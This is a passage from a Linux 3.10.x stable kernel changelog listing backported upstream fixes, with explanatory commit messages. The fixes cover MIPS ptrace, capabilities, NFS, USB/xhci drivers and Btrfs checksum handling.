b1442d39fac2fcfbe6a4814979020e993ca59c9e upstream. If one or more matching FCSR cause & enable bits are set in saved thread context then when that context is restored the kernel will take an FP exception. This is of course undesirable and considered an oops, leading to the kernel writing a backtrace to the console and potentially rebooting depending upon the configuration. Thus the kernel avoids this situation by clearing the cause bits of the FCSR register when handling FP exceptions and after emulating FP instructions. However the kernel does not prevent userland from setting arbitrary FCSR cause & enable bits via ptrace, using either the PTRACE_POKEUSR or PTRACE_SETFPREGS requests. This means userland can trivially cause the kernel to oops on any system with an FPU. Prevent this from happening by clearing the cause bits when writing to the saved FCSR context via ptrace. This problem appears to exist at least back to the beginning of the git era in the PTRACE_POKEUSR case. Signed-off-by: Paul Burton Cc: linux-mips@linux-mips.org Cc: Paul Burton Cc: stable@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/7438/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6532796823376158f10261b3ff6104baf6691aa7 Author: Jeffrey Deans Date: Thu Jul 17 09:20:56 2014 +0100 MIPS: GIC: Prevent array overrun commit ffc8415afab20bd97754efae6aad1f67b531132b upstream. A GIC interrupt which is declared as having a GIC_MAP_TO_NMI_MSK mapping causes the cpu parameter to gic_setup_intr() to be increased to 32, causing memory corruption when pcpu_masks[] is written to again later in the function. Signed-off-by: Jeffrey Deans Signed-off-by: Markos Chandras Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/7375/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 032f31687e0f38cf28cb0f1028ac473a903e99c6 Author: K. Y. Srinivasan Date: Sat Jul 12 09:48:32 2014 -0700 drivers: scsi: storvsc: Correctly handle TEST_UNIT_READY failure commit 3533f8603d28b77c62d75ec899449a99bc6b77a1 upstream. On some Windows hosts on FC SANs, TEST_UNIT_READY can return SRB_STATUS_ERROR. Correctly handle this. Note that there is sufficient sense information to support scsi error handling even in this case. Signed-off-by: K. Y. Srinivasan Reviewed-by: Hannes Reinecke Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8c9b3aaf27ac1f2d36598e5f3d0ca7bb546f2f8b Author: K. Y. Srinivasan Date: Sat Jul 12 09:48:30 2014 -0700 Drivers: scsi: storvsc: Implement a eh_timed_out handler commit 56b26e69c8283121febedd12b3cc193384af46b9 upstream. On Azure, we have seen instances of unbounded I/O latencies. To deal with this issue, implement handler that can reset the timeout. Note that the host gaurantees that it will respond to each command that has been issued. Signed-off-by: K. Y. Srinivasan Reviewed-by: Hannes Reinecke [hch: added a better comment explaining the issue] Signed-off-by: Christoph Hellwig Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5831f4ad586b283dcacdc04b5facd28d6df9b019 Author: Gavin Shan Date: Mon Aug 11 19:16:19 2014 +1000 powerpc/pseries: Failure on removing device node commit f1b3929c232784580e5d8ee324b6bc634e709575 upstream. While running command "drmgr -c phb -r -s 'PHB 528'", following backtrace jumped out because the target device node isn't marked with OF_DETACHED by of_detach_node(), which caused by error returned from memory hotplug related reconfig notifier when disabling CONFIG_MEMORY_HOTREMOVE. The patch fixes it. ERROR: Bad of_node_put() on /pci@800000020000210/ethernet@0 CPU: 14 PID: 2252 Comm: drmgr Tainted: G W 3.16.0+ #427 Call Trace: [c000000012a776a0] [c000000000013d9c] .show_stack+0x88/0x148 (unreliable) [c000000012a77750] [c00000000083cd34] .dump_stack+0x7c/0x9c [c000000012a777d0] [c0000000006807c4] .of_node_release+0x58/0xe0 [c000000012a77860] [c00000000038a7d0] .kobject_release+0x174/0x1b8 [c000000012a77900] [c00000000038a884] .kobject_put+0x70/0x78 [c000000012a77980] [c000000000681680] .of_node_put+0x28/0x34 [c000000012a77a00] [c000000000681ea8] .__of_get_next_child+0x64/0x70 [c000000012a77a90] [c000000000682138] .of_find_node_by_path+0x1b8/0x20c [c000000012a77b40] [c000000000051840] .ofdt_write+0x308/0x688 [c000000012a77c20] [c000000000238430] .proc_reg_write+0xb8/0xd4 [c000000012a77cd0] [c0000000001cbeac] .vfs_write+0xec/0x1f8 [c000000012a77d70] [c0000000001cc3b0] .SyS_write+0x58/0xa0 [c000000012a77e30] [c00000000000a064] syscall_exit+0x0/0x98 Signed-off-by: Gavin Shan Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5f7825829f5cd878cab3c4933dda9be7ae6d083c Author: Aneesh Kumar K.V Date: Wed Aug 13 12:32:03 2014 +0530 powerpc/mm: Use read barrier when creating real_pte commit 85c1fafd7262e68ad821ee1808686b1392b1167d upstream. On ppc64 we support 4K hash pte with 64K page size. That requires us to track the hash pte slot information on a per 4k basis. We do that by storing the slot details in the second half of pte page. The pte bit _PAGE_COMBO is used to indicate whether the second half need to be looked while building real_pte. We need to use read memory barrier while doing that so that load of hidx is not reordered w.r.t _PAGE_COMBO check. On the store side we already do a lwsync in __hash_page_4K Signed-off-by: Aneesh Kumar K.V Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dfed85731dee52b02f4a99f71b9c2f667740e5fb Author: Andrey Utkin Date: Mon Aug 4 23:13:10 2014 +0300 powerpc/mm/numa: Fix break placement commit b00fc6ec1f24f9d7af9b8988b6a198186eb3408c upstream. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=81631 Reported-by: David Binderman Signed-off-by: Andrey Utkin Signed-off-by: Benjamin Herrenschmidt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bc55586057386ac151f4baeaef9730c91f1b88c9 Author: Michael Welling Date: Mon Jul 28 18:01:04 2014 -0500 mfd: omap-usb-host: Fix improper mask use. commit 46de8ff8e80a6546aa3d2fdf58c6776666301a0c upstream. single-ulpi-bypass is a flag used for older OMAP3 silicon. The flag when set, can excite code that improperly uses the OMAP_UHH_HOSTCONFIG_UPLI_BYPASS define to clear the corresponding bit. Instead it clears all of the other bits disabling all of the ports in the process. Signed-off-by: Michael Welling Signed-off-by: Lee Jones Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d90d289d8a91338d522654e7b08bc1a10a49a91 Author: Sasha Levin Date: Wed Aug 6 16:08:14 2014 -0700 kernel/smp.c:on_each_cpu_cond(): fix warning in fallback path commit 618fde872163e782183ce574c77f1123e2be8887 upstream. The rarely-executed memry-allocation-failed callback path generates a WARN_ON_ONCE() when smp_call_function_single() succeeds. Presumably it's supposed to warn on failures. Signed-off-by: Sasha Levin Cc: Christoph Lameter Cc: Gilad Ben-Yossef Cc: David Rientjes Cc: Joonsoo Kim Cc: Tejun Heo Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b60a89532cca6671e340a1499cb5457ba4229914 Author: Eric Paris Date: Wed Jul 23 15:36:26 2014 -0400 CAPABILITIES: remove undefined caps from all processes commit 7d8b6c63751cfbbe5eef81a48c22978b3407a3ad upstream. This is effectively a revert of 7b9a7ec565505699f503b4fcf61500dceb36e744 plus fixing it a different way... We found, when trying to run an application from an application which had dropped privs that the kernel does security checks on undefined capability bits. This was ESPECIALLY difficult to debug as those undefined bits are hidden from /proc/$PID/status. Consider a root application which drops all capabilities from ALL 4 capability sets. We assume, since the application is going to set eff/perm/inh from an array that it will clear not only the defined caps less than CAP_LAST_CAP, but also the higher 28ish bits which are undefined future capabilities. The BSET gets cleared differently. Instead it is cleared one bit at a time. The problem here is that in security/commoncap.c::cap_task_prctl() we actually check the validity of a capability being read. So any task which attempts to 'read all things set in bset' followed by 'unset all things set in bset' will not even attempt to unset the undefined bits higher than CAP_LAST_CAP. So the 'parent' will look something like: CapInh: 0000000000000000 CapPrm: 0000000000000000 CapEff: 0000000000000000 CapBnd: ffffffc000000000 All of this 'should' be fine. Given that these are undefined bits that aren't supposed to have anything to do with permissions. But they do... So lets now consider a task which cleared the eff/perm/inh completely and cleared all of the valid caps in the bset (but not the invalid caps it couldn't read out of the kernel). We know that this is exactly what the libcap-ng library does and what the go capabilities library does. They both leave you in that above situation if you try to clear all of you capapabilities from all 4 sets. If that root task calls execve() the child task will pick up all caps not blocked by the bset. The bset however does not block bits higher than CAP_LAST_CAP. So now the child task has bits in eff which are not in the parent. These are 'meaningless' undefined bits, but still bits which the parent doesn't have. The problem is now in cred_cap_issubset() (or any operation which does a subset test) as the child, while a subset for valid cap bits, is not a subset for invalid cap bits! So now we set durring commit creds that the child is not dumpable. Given it is 'more priv' than its parent. It also means the parent cannot ptrace the child and other stupidity. The solution here: 1) stop hiding capability bits in status This makes debugging easier! 2) stop giving any task undefined capability bits. it's simple, it you don't put those invalid bits in CAP_FULL_SET you won't get them in init and you won't get them in any other task either. This fixes the cap_issubset() tests and resulting fallout (which made the init task in a docker container untraceable among other things) 3) mask out undefined bits when sys_capset() is called as it might use ~0, ~0 to denote 'all capabilities' for backward/forward compatibility. This lets 'capsh --caps="all=eip" -- -c /bin/bash' run. 4) mask out undefined bit when we read a file capability off of disk as again likely all bits are set in the xattr for forward/backward compatibility. This lets 'setcap all+pe /bin/bash; /bin/bash' run Signed-off-by: Eric Paris Reviewed-by: Kees Cook Cc: Andrew Vagin Cc: Andrew G. Morgan Cc: Serge E. Hallyn Cc: Kees Cook Cc: Steve Grubb Cc: Dan Walsh Signed-off-by: James Morris Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a9d590bbaf617655e09a7cf3b3572977a49c0724 Author: Jarkko Sakkinen Date: Fri May 9 14:23:10 2014 +0300 tpm: missing tpm_chip_put in tpm_get_random() commit 3e14d83ef94a5806a865b85b513b4e891923c19b upstream. Regression in 41ab999c. Call to tpm_chip_put is missing. This will cause TPM device driver not to unload if tmp_get_random() is called. Signed-off-by: Jarkko Sakkinen Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9aecf831f597bdb578fc9776c111c08e1f23c70b Author: Guenter Roeck Date: Wed Aug 13 11:21:34 2014 -0700 firmware: Do not use WARN_ON(!spin_is_locked()) commit aee530cfecf4f3ec83b78406bac618cec35853f8 upstream. spin_is_locked() always returns false for uniprocessor configurations in several architectures, so do not use WARN_ON with it. Use lockdep_assert_held() instead to also reduce overhead in non-debug kernels. Signed-off-by: Guenter Roeck Signed-off-by: Matt Fleming Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b6cce7fe5f000718022874593e7b253c2c83942f Author: Mark A. Greer Date: Tue Jul 1 20:28:32 2014 -0700 spi: omap2-mcspi: Configure hardware when slave driver changes mode commit 97ca0d6cc118716840ea443e010cb3d5f2d25eaf upstream. Commit id 2bd16e3e23d9df41592c6b257c59b6860a9cc3ea (spi: omap2-mcspi: Do not configure the controller on each transfer unless needed) does its job too well so omap2_mcspi_setup_transfer() isn't called even when an SPI slave driver changes 'spi->mode'. The result is that the mode requested by the SPI slave driver never takes effect. Fix this by adding the 'mode' member to the omap2_mcspi_cs structure which holds the mode value that the hardware is configured for. When the SPI slave driver changes 'spi->mode' it will be different than the value of this new member and the SPI master driver will know that the hardware must be reconfigured (by calling omap2_mcspi_setup_transfer()). Fixes: 2bd16e3e23 (spi: omap2-mcspi: Do not configure the controller on each transfer unless needed) Signed-off-by: Mark A. Greer Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 701f5625d7ceb55b69b2afbd19436633bbd96f33 Author: Thomas Petazzoni Date: Sun Jul 27 23:53:19 2014 +0200 spi: orion: fix incorrect handling of cell-index DT property commit e06871cd2c92e5c65d7ca1d32866b4ca5dd4ac30 upstream. In commit f814f9ac5a81 ("spi/orion: add device tree binding"), Device Tree support was added to the spi-orion driver. However, this commit reads the "cell-index" property, without taking into account the fact that DT properties are big-endian encoded. Since most of the platforms using spi-orion with DT have apparently not used anything but cell-index = <0>, the problem was not visible. But as soon as one starts using cell-index = <1>, the problem becomes clearly visible, as the master->bus_num gets a wrong value (actually it gets the value 0, which conflicts with the first bus that has cell-index = <0>). This commit fixes that by using of_property_read_u32() to read the property value, which does the appropriate endianness conversion when needed. Fixes: f814f9ac5a81 ("spi/orion: add device tree binding") Signed-off-by: Thomas Petazzoni Acked-by: Sebastian Hesselbarth Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0fedb5adad29b5db35af475cb7af1034c0b18d75 Author: Joerg Roedel Date: Tue Aug 5 17:50:15 2014 +0200 iommu/amd: Fix cleanup_domain for mass device removal commit 9b29d3c6510407d91786c1cf9183ff4debb3473a upstream. When multiple devices are detached in __detach_device, they are also removed from the domains dev_list. This makes it unsafe to use list_for_each_entry_safe, as the next pointer might also not be in the list anymore after __detach_device returns. So just repeatedly remove the first element of the list until it is empty. Tested-by: Marti Raudsepp Signed-off-by: Joerg Roedel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8ea595c234c5cc038e85bb16c06a58887d0b42f3 Author: Salva Peiró Date: Sat Jun 7 11:41:44 2014 -0300 media: media-device: Remove duplicated memset() in media_enum_entities() commit f8ca6ac00d2ba24c5557f08f81439cd3432f0802 upstream. After the zeroing the whole struct struct media_entity_desc u_ent, it is no longer necessary to memset(0) its u_ent.name field. Signed-off-by: Salva Peiró Signed-off-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a64bdfd5ddf6a03054877df02863803e12595ce6 Author: Mauro Carvalho Chehab Date: Sun Jun 8 13:54:57 2014 -0300 media: au0828: Only alt setting logic when needed commit 64ea37bbd8a5815522706f0099ad3f11c7537e15 upstream. It seems that there's a bug at au0828 hardware/firmware related to alternate setting: when the device is already at alt 5, a further call causes the URBs to receive -ESHUTDOWN. I found two different encarnations of this issue: 1) at qv4l2, it fails the second time we try to open the video screen; 2) at xawtv, when audio underrun occurs, with is very frequent, at least on my test machine. The fix is simple: just check if alt=5 before calling set_usb_interface(). Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit effd668df38320028b8c132ffd1fd2398b09f86e Author: Mauro Carvalho Chehab Date: Mon Jul 21 13:28:15 2014 -0300 media: xc4000: Fix get_frequency() commit 4c07e32884ab69574cfd9eb4de3334233c938071 upstream. The programmed frequency on xc4000 is not the middle frequency, but the initial frequency on the bandwidth range. However, the DVB API works with the middle frequency. This works fine on set_frontend, as the device calculates the needed offset. However, at get_frequency(), the returned value is the initial frequency. That's generally not a big problem on most drivers, however, starting with changeset 6fe1099c7aec, the frequency drift is taken into account at dib7000p driver. This broke support for PCTV 340e, with uses dib7000p demod and xc4000 tuner. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 57d680f49b3e0a8d4fc1997231bc41b69aee7068 Author: Mauro Carvalho Chehab Date: Mon Jul 21 14:21:18 2014 -0300 media: xc5000: Fix get_frequency() commit a3eec916cbc17dc1aaa3ddf120836cd5200eb4ef upstream. The programmed frequency on xc5000 is not the middle frequency, but the initial frequency on the bandwidth range. However, the DVB API works with the middle frequency. Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 96215ddb492075d096f04e01ffe225e443af144a Author: Greg Kroah-Hartman Date: Fri Sep 5 16:32:00 2014 -0700 Linux 3.10.54 Signed-off-by: Pranav Vashi commit 237e2ef0137ac8ef4d375ed529a0bb9d910ef3af Author: Greg Kroah-Hartman Date: Wed Aug 27 16:55:29 2014 -0700 USB: fix build error with CONFIG_PM_RUNTIME disabled commit a9ef803d740bfadf5e505fbc57efa57692e27025 upstream. commit bdd405d2a528 ("usb: hub: Prevent hub autosuspend if usbcore.autosuspend is -1") causes a build error if CONFIG_PM_RUNTIME is disabled. Fix that by doing a simple #ifdef guard around it. Reported-by: Stephen Rothwell Reported-by: kbuild test robot Cc: Roger Quadros Cc: Michael Welling Cc: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c283d5a32538940b12e42be5bdaffbada8313a9d Author: Trond Myklebust Date: Mon Aug 25 22:33:12 2014 -0400 NFSv4: Fix problems with close in the presence of a delegation commit aee7af356e151494d5014f57b33460b162f181b5 upstream. In the presence of delegations, we can no longer assume that the state->n_rdwr, state->n_rdonly, state->n_wronly reflect the open stateid share mode, and so we need to calculate the initial value for calldata->arg.fmode using the state->flags. Reported-by: James Drews Fixes: 88069f77e1ac5 (NFSv41: Fix a potential state leakage when...) Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7d3dca3287eaea8417f4ab85ad45789f14512878 Author: Trond Myklebust Date: Sun Aug 24 14:46:48 2014 -0400 NFSv3: Fix another acl regression commit f87d928f6d98644d39809a013a22f981d39017cf upstream. When creating a new object on the NFS server, we should not be sending posix setacl requests unless the preceding posix_acl_create returned a non-trivial acl. Doing so, causes Solaris servers in particular to return an EINVAL. Fixes: 013cdf1088d72 (nfs: use generic posix ACL infrastructure,,,) Resolves: https://bugzilla.redhat.com/show_bug.cgi?id=1132786 Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 432d2b4c7724e033c2c9642eabf075a032e4640c Author: Chuck Lever Date: Wed Jul 16 15:38:32 2014 -0400 svcrdma: Select NFSv4.1 backchannel transport based on forward channel commit 3c45ddf823d679a820adddd53b52c6699c9a05ac upstream. The current code always selects XPRT_TRANSPORT_BC_TCP for the back channel, even when the forward channel was not TCP (eg, RDMA). When a 4.1 mount is attempted with RDMA, the server panics in the TCP BC code when trying to send CB_NULL. Instead, construct the transport protocol number from the forward channel transport or'd with XPRT_TRANSPORT_BC. Transports that do not support bi-directional RPC will not have registered a "BC" transport, causing create_backchannel_client() to fail immediately. Fixes: https://bugzilla.linux-nfs.org/show_bug.cgi?id=265 Signed-off-by: Chuck Lever Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4384a64944da8f5142895fd2d397cb5f41746d5d Author: Kinglong Mee Date: Wed Jul 30 21:26:05 2014 +0800 NFSD: Decrease nfsd_users in nfsd_startup_generic fail commit d9499a95716db0d4bc9b67e88fd162133e7d6b08 upstream. A memory allocation failure could cause nfsd_startup_generic to fail, in which case nfsd_users wouldn't be incorrectly left elevated. After nfsd restarts nfsd_startup_generic will then succeed without doing anything--the first consequence is likely nfs4_start_net finding a bad laundry_wq and crashing. Signed-off-by: Kinglong Mee Fixes: 4539f14981ce "nfsd: replace boolean nfsd_up flag by users counter" Signed-off-by: J. Bruce Fields Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c89e6c12e4eb6d309fa026d605c01d4af2c493a9 Author: Roger Quadros Date: Mon Aug 4 12:44:46 2014 +0300 usb: hub: Prevent hub autosuspend if usbcore.autosuspend is -1 commit bdd405d2a5287bdb9b04670ea255e1f122138e66 upstream. If user specifies that USB autosuspend must be disabled by module parameter "usbcore.autosuspend=-1" then we must prevent autosuspend of USB hub devices as well. commit 596d789a211d introduced in v3.8 changed the original behaivour and stopped respecting the usbcore.autosuspend parameter for hubs. Fixes: 596d789a211d "USB: set hub's default autosuspend delay as 0" Signed-off-by: Roger Quadros Tested-by: Michael Welling Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d74931e9f570f61b39f1f3c32194088566f6efca Author: James Forshaw Date: Sat Aug 23 14:39:48 2014 -0700 USB: whiteheat: Added bounds checking for bulk command response commit 6817ae225cd650fb1c3295d769298c38b1eba818 upstream. This patch fixes a potential security issue in the whiteheat USB driver which might allow a local attacker to cause kernel memory corrpution. This is due to an unchecked memcpy into a fixed size buffer (of 64 bytes). On EHCI and XHCI busses it's possible to craft responses greater than 64 bytes leading a buffer overflow. Signed-off-by: James Forshaw Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dd1e049ef4cadb34d4781c8d1dfd01a7910cbd1e Author: JaÅ¡a Bartelj Date: Sat Aug 16 12:44:27 2014 +0200 USB: ftdi_sio: Added PID for new ekey device commit 646907f5bfb0782c731ae9ff6fb63471a3566132 upstream. Added support to the ftdi_sio driver for ekey Converter USB which uses an FT232BM chip. Signed-off-by: JaÅ¡a Bartelj Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a2a0f9aff5d13b4b96805021d397027df79cfc5 Author: Johan Hovold Date: Wed Aug 13 17:56:52 2014 +0200 USB: ftdi_sio: add Basic Micro ATOM Nano USB2Serial PID commit 6552cc7f09261db2aeaae389aa2c05a74b3a93b4 upstream. Add device id for Basic Micro ATOM Nano USB2Serial adapters. Reported-by: Nicolas Alt Tested-by: Nicolas Alt Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d406e2d0ba368e1ee70a59ba51f8b3c9a3fe805c Author: Tony Lindgren Date: Mon Aug 25 16:15:35 2014 -0700 ARM: OMAP2+: hwmod: Rearm wake-up interrupts for DT when MUSB is idled commit cc824534d4fef0e46e4486d5c1e10d3c6b1ebadc upstream. Looks like MUSB cable removal can cause wake-up interrupts to stop working for device tree based booting at least for UART3 even as nothing is dynamically remuxed. This can be fixed by calling reconfigure_io_chain() for device tree based booting in hwmod code. Note that we already do that for legacy booting if the legacy mux is configured. My guess is that this is related to UART3 and MUSB ULPI hsusb0_data0 and hsusb0_data1 support for Carkit mode that somehow affect the configured IO chain for UART3 and require rearming the wake-up interrupts. In general, for device tree based booting, pinctrl-single calls the rearm hook that in turn calls reconfigure_io_chain so calling reconfigure_io_chain should not be needed from the hwmod code for other events. So let's limit the hwmod rearming of iochain only to HWMOD_FORCE_MSTANDBY where MUSB is currently the only user of it. If we see other devices needing similar changes we can add more checks for it. Cc: Paul Walmsley Signed-off-by: Tony Lindgren Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 313025a5e132f24e1ff8757a2a9d61686f906154 Author: Huang Rui Date: Tue Aug 19 15:17:57 2014 +0300 usb: xhci: amd chipset also needs short TX quirk commit 2597fe99bb0259387111d0431691f5daac84f5a5 upstream. AMD xHC also needs short tx quirk after tested on most of chipset generations. That's because there is the same incorrect behavior like Fresco Logic host. Please see below message with on USB webcam attached on xHC host: [ 139.262944] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.266934] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.270913] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.274937] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.278914] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.282936] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.286915] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.290938] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.294913] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? [ 139.298917] xhci_hcd 0000:00:10.0: WARN Successful completion on short TX: needs XHCI_TRUST_TX_LENGTH quirk? Reported-by: Arindam Nath Tested-by: Shriraj-Rai P Signed-off-by: Huang Rui Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d7c383f12978f0f01c04fbca5a8a8b2816009f98 Author: Hans de Goede Date: Tue Aug 19 15:17:56 2014 +0300 xhci: Treat not finding the event_seg on COMP_STOP the same as COMP_STOP_INVAL commit 9a54886342e227433aebc9d374f8ae268a836475 upstream. When using a Renesas uPD720231 chipset usb-3 uas to sata bridge with a 120G Crucial M500 ssd, model string: Crucial_ CT120M500SSD1, together with a the integrated Intel xhci controller on a Haswell laptop: 00:14.0 USB controller [0c03]: Intel Corporation 8 Series USB xHCI HC [8086:9c31] (rev 04) The following error gets logged to dmesg: xhci error: Transfer event TRB DMA ptr not part of current TD Treating COMP_STOP the same as COMP_STOP_INVAL when no event_seg gets found fixes this. Signed-off-by: Hans de Goede Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 02b3265a7c2e299f4577c1fba41db238b5548cb2 Author: Ben Hutchings Date: Mon May 19 01:03:06 2014 +0100 Staging: speakup: Update __speakup_paste_selection() tty (ab)usage to match vt commit 28a821c306889b9f2c3fff49abedc9b2c743eb73 upstream. This function is largely a duplicate of paste_selection() in drivers/tty/vt/selection.c, but with its own selection state. The speakup selection mechanism should really be merged with vt. For now, apply the changes from 'TTY: vt, fix paste_selection ldisc handling', 'tty: Make ldisc input flow control concurrency-friendly', and 'tty: Fix unsafe vt paste_selection()'. References: https://bugs.debian.org/735202 References: https://bugs.debian.org/744015 Reported-by: Paul Gevers Reported-and-tested-by: Jarek Czekalski Signed-off-by: Ben Hutchings [bwh: Backported to 3.10: - Only apply the changes from 'TTY: vt, fix paste_selection ldisc handling' - Add the same FIXME comment as vt's paste_selection() has in this version] Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3f19b1afa373f6db406f1a4b859c04a5cb538be6 Author: Darrick J. Wong Date: Wed Aug 27 18:40:05 2014 -0400 jbd2: fix infinite loop when recovering corrupt journal blocks commit 022eaa7517017efe4f6538750c2b59a804dc7df7 upstream. When recovering the journal, don't fall into an infinite loop if we encounter a corrupt journal block. Instead, just skip the block and return an error, which fails the mount and thus forces the user to run a full filesystem fsck. Signed-off-by: Darrick J. Wong Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6acf49e4e5763d8c3769542e4f8bca29422f0bc1 Author: Alexander Usyskin Date: Tue Aug 12 18:07:57 2014 +0300 mei: nfc: fix memory leak in error path commit 8e8248b1369c97c7bb6f8bcaee1f05deeabab8ef upstream. NFC will leak buffer if send failed. Use single exit point that does the freeing Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 66272252f288727b587f94e8f15fb0e02b6191e0 Author: Alexander Usyskin Date: Tue Aug 12 18:07:56 2014 +0300 mei: reset client state on queued connect request commit 73ab4232388b7a08f17c8d08141ff2099fa0b161 upstream. If connect request is queued (e.g. device in pg) set client state to initializing, thus avoid preliminary exit in wait if current state is disconnected. This is regression from: commit e4d8270e604c3202131bac607969605ac397b893 Author: Alexander Usyskin mei: set connecting state just upon connection request is sent to the fw Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7b109b80630762b76b827346aad9568a20972e34 Author: Filipe Manana Date: Sat Aug 9 21:22:27 2014 +0100 Btrfs: fix csum tree corruption, duplicate and outdated checksums commit 27b9a8122ff71a8cadfbffb9c4f0694300464f3b upstream. Under rare circumstances we can end up leaving 2 versions of a checksum for the same file extent range. The reason for this is that after calling btrfs_next_leaf we process slot 0 of the leaf it returns, instead of processing the slot set in path->slots[0]. Most of the time (by far) path->slots[0] is 0, but after btrfs_next_leaf() releases the path and before it searches for the next leaf, another task might cause a split of the next leaf, which migrates some of its keys to the leaf we were processing before calling btrfs_next_leaf(). In this case btrfs_next_leaf() returns again the same leaf but with path->slots[0] having a slot number corresponding to the first new key it got, that is, a slot number that didn't exist before calling btrfs_next_leaf(), as the leaf now has more keys than it had before. So we must really process the returned leaf starting at path->slots[0] always, as it isn't always 0, and the key at slot 0 can have an offset much lower than our search offset/bytenr. For example, consider the following scenario, where we have: sums->bytenr: 40157184, sums->len: 16384, sums end: 40173568 four 4kb file data blocks with offsets 40157184, 40161280, 40165376, 40169472 Leaf N: slot = 0 slot = btrfs_header_nritems() - 1 |-------------------------------------------------------------------| | [(CSUM CSUM 39239680), size 8] ... [(CSUM CSUM 40116224), size 4] | |-------------------------------------------------------------------| Leaf N + 1: slot = 0 slot = btrfs_header_nritems() - 1 |--------------------------------------------------------------------| | [(CSUM CSUM 40161280), size 32] ... [((CSUM CSUM 40615936), size 8 | |--------------------------------------------------------------------| Because we are at the last slot of leaf N, we call btrfs_next_leaf() to find the next highest key, which releases the current path and then searches for that next key. However after releasing the path and before finding that next key, the item at slot 0 of leaf N + 1 gets moved to leaf N, due to a call to ctree.c:push_leaf_left() (via ctree.c:split_leaf()), and therefore btrfs_next_leaf() will returns us a path again with leaf N but with the slot pointing to its new last key (CSUM CSUM 40161280). This new version of leaf N is then: slot = 0 slot = btrfs_header_nritems() - 2 slot = btrfs_header_nritems() - 1 |----------------------------------------------------------------------------------------------------| | [(CSUM CSUM 39239680), size 8] ... [(CSUM CSUM 40116224), size 4] [(CSUM CSUM 40161280), size 32] | |----------------------------------------------------------------------------------------------------| And incorrecly using slot 0, makes us set next_offset to 39239680 and we jump into the "insert:" label, which will set tmp to: tmp = min((sums->len - total_bytes) >> blocksize_bits, (next_offset - file_key.offset) >> blocksize_bits) = min((16384 - 0) >> 12, (39239680 - 40157184) >> 12) = min(4, (u64)-917504 = 18446744073708634112 >> 12) = 4 